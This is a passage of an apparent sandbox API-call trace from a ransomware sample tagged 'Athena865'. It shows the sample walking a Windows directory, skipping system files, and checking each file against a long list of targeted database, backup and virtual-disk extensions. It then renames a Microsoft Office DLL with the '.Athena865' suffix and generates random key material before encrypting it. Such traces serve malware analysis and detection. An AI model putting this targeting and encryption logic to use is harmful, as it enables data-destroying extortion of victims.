CloseHandle (hObject=0x17c) returned 1 [0080.063] CloseHandle (hObject=0x154) returned 1 [0080.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.063] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0080.063] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2=".") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="..") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="windows") returned -1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="bootmgr") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="temp") returned -1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="pagefile.sys") returned -1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="boot") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="ids.txt") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="ntuser.dat") returned 1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="perflogs") returned -1 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2="MSBuild") returned 1 [0080.064] lstrlenW (lpString="OFFOWC.DLL") returned 10 [0080.064] lstrcpyW (in: lpString1=0x241e89e, lpString2="OFFOWC.DLL" | out: lpString1="OFFOWC.DLL") returned="OFFOWC.DLL" [0080.064] lstrlenW (lpString="OFFOWC.DLL") returned 10 [0080.064] lstrlenW (lpString="Athena865") returned 9 [0080.064] lstrcmpiW (lpString1="FFOWC.DLL", lpString2="Athena865") returned 1 [0080.064] lstrlenW (lpString=".dll") returned 4 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2=".dll") returned 1 [0080.064] lstrlenW (lpString=".lnk") returned 4 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2=".lnk") returned 1 [0080.064] lstrlenW (lpString=".ini") returned 4 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2=".ini") returned 1 [0080.064] lstrlenW (lpString=".sys") returned 4 [0080.064] lstrcmpiW (lpString1="OFFOWC.DLL", lpString2=".sys") returned 1 [0080.064] lstrlenW (lpString="OFFOWC.DLL") returned 10 [0080.064] lstrlenW (lpString="bak") returned 3 [0080.064] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.064] lstrlenW (lpString="ba_") returned 3 [0080.064] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0080.064] lstrlenW (lpString="dbb") returned 3 [0080.064] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.065] lstrlenW (lpString="vmdk") returned 4 [0080.065] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.065] lstrlenW (lpString="rar") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.065] lstrlenW (lpString="zip") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.065] lstrlenW (lpString="tgz") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.065] lstrlenW (lpString="vbox") returned 4 [0080.065] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.065] lstrlenW (lpString="vdi") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.065] lstrlenW (lpString="vhd") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.065] lstrlenW (lpString="vhdx") returned 4 [0080.065] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.065] lstrlenW (lpString="avhd") returned 4 [0080.065] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.065] lstrlenW (lpString="db") returned 2 [0080.065] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.065] lstrlenW (lpString="db2") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.065] lstrlenW (lpString="db3") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.065] lstrlenW (lpString="dbf") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.065] lstrlenW (lpString="mdf") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.065] lstrlenW (lpString="mdb") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.065] lstrlenW (lpString="sql") returned 3 [0080.065] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0080.065] lstrlenW (lpString="sqlite") returned 6 [0080.066] lstrcmpiW (lpString1="WC.DLL", lpString2="sqlite") returned 1 [0080.066] lstrlenW (lpString="sqlite3") returned 7 [0080.066] lstrcmpiW (lpString1="OWC.DLL", lpString2="sqlite3") returned -1 [0080.066] lstrlenW (lpString="sqlitedb") returned 8 [0080.066] lstrcmpiW (lpString1="FOWC.DLL", lpString2="sqlitedb") returned -1 [0080.066] lstrlenW (lpString="xml") returned 3 [0080.066] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0080.066] lstrlenW (lpString="$er") returned 3 [0080.066] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0080.066] lstrlenW (lpString="4dd") returned 3 [0080.066] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0080.066] lstrlenW (lpString="4dl") returned 3 [0080.066] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0080.066] lstrlenW (lpString="^^^") returned 3 [0080.066] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0080.066] lstrlenW (lpString="abs") returned 3 [0080.066] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0080.066] lstrlenW (lpString="abx") returned 3 [0080.066] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0080.066] lstrlenW (lpString="accdb") returned 5 [0080.066] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0080.066] lstrlenW (lpString="accdc") returned 5 [0080.066] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0080.066] lstrlenW (lpString="accde") returned 5 [0080.066] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0080.066] lstrlenW (lpString="accdr") returned 5 [0080.066] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0080.066] lstrlenW (lpString="accdt") returned 5 [0080.066] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0080.066] lstrlenW (lpString="accdw") returned 5 [0080.066] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0080.066] lstrlenW (lpString="accft") returned 5 [0080.067] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0080.067] lstrlenW (lpString="adb") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.067] lstrlenW (lpString="adb") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.067] lstrlenW (lpString="ade") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0080.067] lstrlenW (lpString="adf") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0080.067] lstrlenW (lpString="adn") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0080.067] lstrlenW (lpString="adp") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0080.067] lstrlenW (lpString="alf") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0080.067] lstrlenW (lpString="ask") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0080.067] lstrlenW (lpString="btr") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0080.067] lstrlenW (lpString="cat") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0080.067] lstrlenW (lpString="cdb") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0080.067] lstrlenW (lpString="ckp") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0080.067] lstrlenW (lpString="cma") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0080.067] lstrlenW (lpString="cpd") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0080.067] lstrlenW (lpString="dacpac") returned 6 [0080.067] lstrcmpiW (lpString1="WC.DLL", lpString2="dacpac") returned 1 [0080.067] lstrlenW (lpString="dad") returned 3 [0080.067] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0080.068] lstrlenW (lpString="dadiagrams") returned 10 [0080.068] lstrlenW (lpString="daschema") returned 8 [0080.068] lstrcmpiW (lpString1="FOWC.DLL", lpString2="daschema") returned 1 [0080.068] lstrlenW (lpString="db-journal") returned 10 [0080.068] lstrlenW (lpString="db-shm") returned 6 [0080.068] lstrcmpiW (lpString1="WC.DLL", lpString2="db-shm") returned 1 [0080.068] lstrlenW (lpString="db-wal") returned 6 [0080.068] lstrcmpiW (lpString1="WC.DLL", lpString2="db-wal") returned 1 [0080.068] lstrlenW (lpString="dbc") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0080.068] lstrlenW (lpString="dbs") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0080.068] lstrlenW (lpString="dbt") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0080.068] lstrlenW (lpString="dbv") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0080.068] lstrlenW (lpString="dbx") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0080.068] lstrlenW (lpString="dcb") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0080.068] lstrlenW (lpString="dct") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0080.068] lstrlenW (lpString="dcx") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0080.068] lstrlenW (lpString="ddl") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0080.068] lstrlenW (lpString="dlis") returned 4 [0080.068] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0080.068] lstrlenW (lpString="dp1") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0080.068] lstrlenW (lpString="dqy") returned 3 [0080.068] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0080.068] lstrlenW (lpString="dsk") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0080.069] lstrlenW (lpString="dsn") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0080.069] lstrlenW (lpString="dtsx") returned 4 [0080.069] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0080.069] lstrlenW (lpString="dxl") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0080.069] lstrlenW (lpString="eco") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0080.069] lstrlenW (lpString="ecx") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0080.069] lstrlenW (lpString="edb") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0080.069] lstrlenW (lpString="epim") returned 4 [0080.069] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0080.069] lstrlenW (lpString="fcd") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0080.069] lstrlenW (lpString="fdb") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0080.069] lstrlenW (lpString="fic") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0080.069] lstrlenW (lpString="flexolibrary") returned 12 [0080.069] lstrlenW (lpString="fm5") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0080.069] lstrlenW (lpString="fmp") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0080.069] lstrlenW (lpString="fmp12") returned 5 [0080.069] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0080.069] lstrlenW (lpString="fmpsl") returned 5 [0080.069] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0080.069] lstrlenW (lpString="fol") returned 3 [0080.069] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0080.070] lstrlenW (lpString="fp3") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0080.070] lstrlenW (lpString="fp4") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0080.070] lstrlenW (lpString="fp5") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0080.070] lstrlenW (lpString="fp7") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0080.070] lstrlenW (lpString="fpt") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0080.070] lstrlenW (lpString="frm") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0080.070] lstrlenW (lpString="gdb") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.070] lstrlenW (lpString="gdb") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.070] lstrlenW (lpString="grdb") returned 4 [0080.070] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0080.070] lstrlenW (lpString="gwi") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0080.070] lstrlenW (lpString="hdb") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0080.070] lstrlenW (lpString="his") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0080.070] lstrlenW (lpString="ib") returned 2 [0080.070] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0080.070] lstrlenW (lpString="idb") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0080.070] lstrlenW (lpString="ihx") returned 3 [0080.070] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0080.070] lstrlenW (lpString="itdb") returned 4 [0080.070] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0080.071] lstrlenW (lpString="itw") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0080.071] lstrlenW (lpString="jet") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0080.071] lstrlenW (lpString="jtx") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0080.071] lstrlenW (lpString="kdb") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0080.071] lstrlenW (lpString="kexi") returned 4 [0080.071] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0080.071] lstrlenW (lpString="kexic") returned 5 [0080.071] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0080.071] lstrlenW (lpString="kexis") returned 5 [0080.071] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0080.071] lstrlenW (lpString="lgc") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0080.071] lstrlenW (lpString="lwx") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0080.071] lstrlenW (lpString="maf") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0080.071] lstrlenW (lpString="maq") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0080.071] lstrlenW (lpString="mar") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0080.071] lstrlenW (lpString="marshal") returned 7 [0080.071] lstrcmpiW (lpString1="OWC.DLL", lpString2="marshal") returned 1 [0080.071] lstrlenW (lpString="mas") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0080.071] lstrlenW (lpString="mav") returned 3 [0080.071] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0080.071] lstrlenW (lpString="maw") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0080.072] lstrlenW (lpString="mdbhtml") returned 7 [0080.072] lstrcmpiW (lpString1="OWC.DLL", lpString2="mdbhtml") returned 1 [0080.072] lstrlenW (lpString="mdn") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0080.072] lstrlenW (lpString="mdt") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0080.072] lstrlenW (lpString="mfd") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0080.072] lstrlenW (lpString="mpd") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0080.072] lstrlenW (lpString="mrg") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0080.072] lstrlenW (lpString="mud") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0080.072] lstrlenW (lpString="mwb") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0080.072] lstrlenW (lpString="myd") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0080.072] lstrlenW (lpString="ndf") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0080.072] lstrlenW (lpString="nnt") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0080.072] lstrlenW (lpString="nrmlib") returned 6 [0080.072] lstrcmpiW (lpString1="WC.DLL", lpString2="nrmlib") returned 1 [0080.072] lstrlenW (lpString="ns2") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0080.072] lstrlenW (lpString="ns3") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0080.072] lstrlenW (lpString="ns4") returned 3 [0080.072] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0080.072] lstrlenW (lpString="nsf") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0080.073] lstrlenW (lpString="nv") returned 2 [0080.073] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0080.073] lstrlenW (lpString="nv2") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0080.073] lstrlenW (lpString="nwdb") returned 4 [0080.073] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0080.073] lstrlenW (lpString="nyf") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0080.073] lstrlenW (lpString="odb") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.073] lstrlenW (lpString="odb") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.073] lstrlenW (lpString="oqy") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0080.073] lstrlenW (lpString="ora") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0080.073] lstrlenW (lpString="orx") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0080.073] lstrlenW (lpString="owc") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0080.073] lstrlenW (lpString="p96") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0080.073] lstrlenW (lpString="p97") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0080.073] lstrlenW (lpString="pan") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0080.073] lstrlenW (lpString="pdb") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0080.073] lstrlenW (lpString="pdm") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0080.073] lstrlenW (lpString="pnz") returned 3 [0080.073] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0080.074] lstrlenW (lpString="qry") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0080.074] lstrlenW (lpString="qvd") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0080.074] lstrlenW (lpString="rbf") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0080.074] lstrlenW (lpString="rctd") returned 4 [0080.074] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0080.074] lstrlenW (lpString="rod") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0080.074] lstrlenW (lpString="rodx") returned 4 [0080.074] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0080.074] lstrlenW (lpString="rpd") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0080.074] lstrlenW (lpString="rsd") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0080.074] lstrlenW (lpString="sas7bdat") returned 8 [0080.074] lstrcmpiW (lpString1="FOWC.DLL", lpString2="sas7bdat") returned -1 [0080.074] lstrlenW (lpString="sbf") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0080.074] lstrlenW (lpString="scx") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0080.074] lstrlenW (lpString="sdb") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0080.074] lstrlenW (lpString="sdc") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0080.074] lstrlenW (lpString="sdf") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0080.074] lstrlenW (lpString="sis") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0080.074] lstrlenW (lpString="spq") returned 3 [0080.074] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0080.075] lstrlenW (lpString="te") returned 2 [0080.075] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0080.075] lstrlenW (lpString="teacher") returned 7 [0080.075] lstrcmpiW (lpString1="OWC.DLL", lpString2="teacher") returned -1 [0080.075] lstrlenW (lpString="tmd") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0080.075] lstrlenW (lpString="tps") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0080.075] lstrlenW (lpString="trc") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.075] lstrlenW (lpString="trc") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.075] lstrlenW (lpString="trm") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0080.075] lstrlenW (lpString="udb") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0080.075] lstrlenW (lpString="udl") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0080.075] lstrlenW (lpString="usr") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0080.075] lstrlenW (lpString="v12") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0080.075] lstrlenW (lpString="vis") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0080.075] lstrlenW (lpString="vpd") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0080.075] lstrlenW (lpString="vvv") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0080.075] lstrlenW (lpString="wdb") returned 3 [0080.075] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0080.075] lstrlenW (lpString="wmdb") returned 4 [0080.075] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0080.075] lstrlenW (lpString="wrk") returned 3 [0080.076] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0080.076] lstrlenW (lpString="xdb") returned 3 [0080.076] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0080.076] lstrlenW (lpString="xld") returned 3 [0080.076] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0080.076] lstrlenW (lpString="xmlff") returned 5 [0080.076] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0080.076] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL.Athena865") returned 63 [0080.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll.athena865"), dwFlags=0x1) returned 1 [0080.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.086] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9835392) returned 1 [0080.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.086] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.087] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.087] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.087] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x961680, lpName=0x0) returned 0x17c [0080.089] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0x161680) returned 0x2d50000 [0080.199] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0080.265] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0080.283] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.284] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.284] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.284] RtlAllocateHeap 